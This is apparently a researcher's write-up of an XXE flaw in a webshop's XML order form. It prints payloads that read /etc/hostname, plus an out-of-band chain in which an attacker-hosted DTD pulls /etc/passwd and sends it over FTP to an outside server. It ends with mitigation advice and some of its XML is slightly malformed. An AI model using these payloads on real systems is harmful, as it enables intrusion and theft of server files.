Exploiting XXE to gain LFI

Topic

Today I'd like to talk to you about a vulnerability I've found some years ago in a webshop application.
The application itself is nothing fancy. It's just a form which creates an order with XML values you submit to it.

Structure

The UI doesn't really look appealing or UX-friendly, but it does its job and I'm only interested in the backend.
Offlinebestellung

The documentation stated how the XML needs to be properly structured to appear valid for further processing.

<ORDERIN>
  <KOPF>
    <Sender>Customer Nr.</Sender>
    <KopfText1>n/a</KopfText1>
    <IhrZeichen>n/a</IhrZeichen>
    <Bestelldatum>12.07.2020</Bestelldatum>
    <Lieferdatum>13.07.2020</Lieferdatum>
    <KopfKommission>
      <Kommission>Commission Nr.</Kommission>
    </KopfKommission>
  </KOPF>
  <POSITION>
      <Artikel-Nr>Article Nr.</Artikel-Nr>
      <BestellMenge>quantity</BestellMenge>
      <Postext>
        <Texte>n/a</Texte>
      </Postext>
  </POSITION>
</ORDERIN>

The vulnerability

Many XML-Parsing libraries aren't configured correctly and let you define External Entities.

The vulnerability itself is called XXE (XML External Entity) - Read more here

It turned out that the XML-Parser wasn't configured property (tam tam taaa insert meme here). DTD and external entities were allowed.

Recon

I've tried some elements with certain values to see if they would give me any sort of feedback.
Most of them failed with the following message:

xxe-failed

After some trial and error I've found that the elements <Kommission> and <IhrZeichen> were valid payload holders.

Getting the hostname

For basic stuff you don't need some fancy dtd stuff.

<?xml version=1.2" encoding="ISO-8859-1"> ?>
<!DOCTYPE foo [ <!ELEMENT foo ANY> 
<!ENTITY xxe SYSTEM "file://etc//hostname" >]>
...
      <Kommission>&xxe;</Kommission>
...

This request returned the following result: (hostname of the server)

hostname

Getting the hostname of a server is already pretty great but only reporting a LFI vuln would be pretty boring.

Grabbing interesting stuff

The problem with this particular XXE is that we need to rely on the max input settings of the XML which is defined by the backend. There was no way to return more than one line (cause of \r\n chars which mess with the output).
If you can't reflect something, why not just redirect the output somewhere else?

Multiple protocols can be misused to do just this.
There's no magic behind it. I just spun up a quick ftp server and listened for incoming traffic.

Reading files is quite simple. All I had to do is setting up a HTTP server with a .dtd file
in its root directory and wait for the victim to pick it up and process it.
It would have been possible to do it without a .dtd file, but where's there the fun?

python -m 'SimpleHTTPServer'

DTD File:

<!ENTITY % a SYSTEM "file:///etc/passwd">
<!ENTITY % b "<!ENTITY ftp SYSTEM 'ftp://uauth.io/%a;'>"

XML:

<?xml version=1.2" encoding="ISO-8859-1"> ?>
<DOCTYPE XXE [
<!ENTITY % dtd SYSTEM "http://uauth.io/xxe.dtd">
...
<IhrName1>%dtd;</IhrName1>
<Kommission>%ftp;</Kommssion>

I used the following ruby ftp stub to extract the passwd file.
xxe-ftp-server

My ftp logs now showed the contents of /etc/passwd - hurray!
images

How to get RCE

To gain RCE you need to hope that the php expect module is activated.
PHP expect module

It isn't on by default. So you most likely LFI is the best you can do.

Conclusion

XXE is a well documented vulnerability and lot of resources are out there.

  • Disable External Entities if not needed.
  • If needed - whitelist the sites hosting dtd.
  • Firewall your Servers

Always test your own servers before the baddies do. :)

Reward

A cold and wet handshake.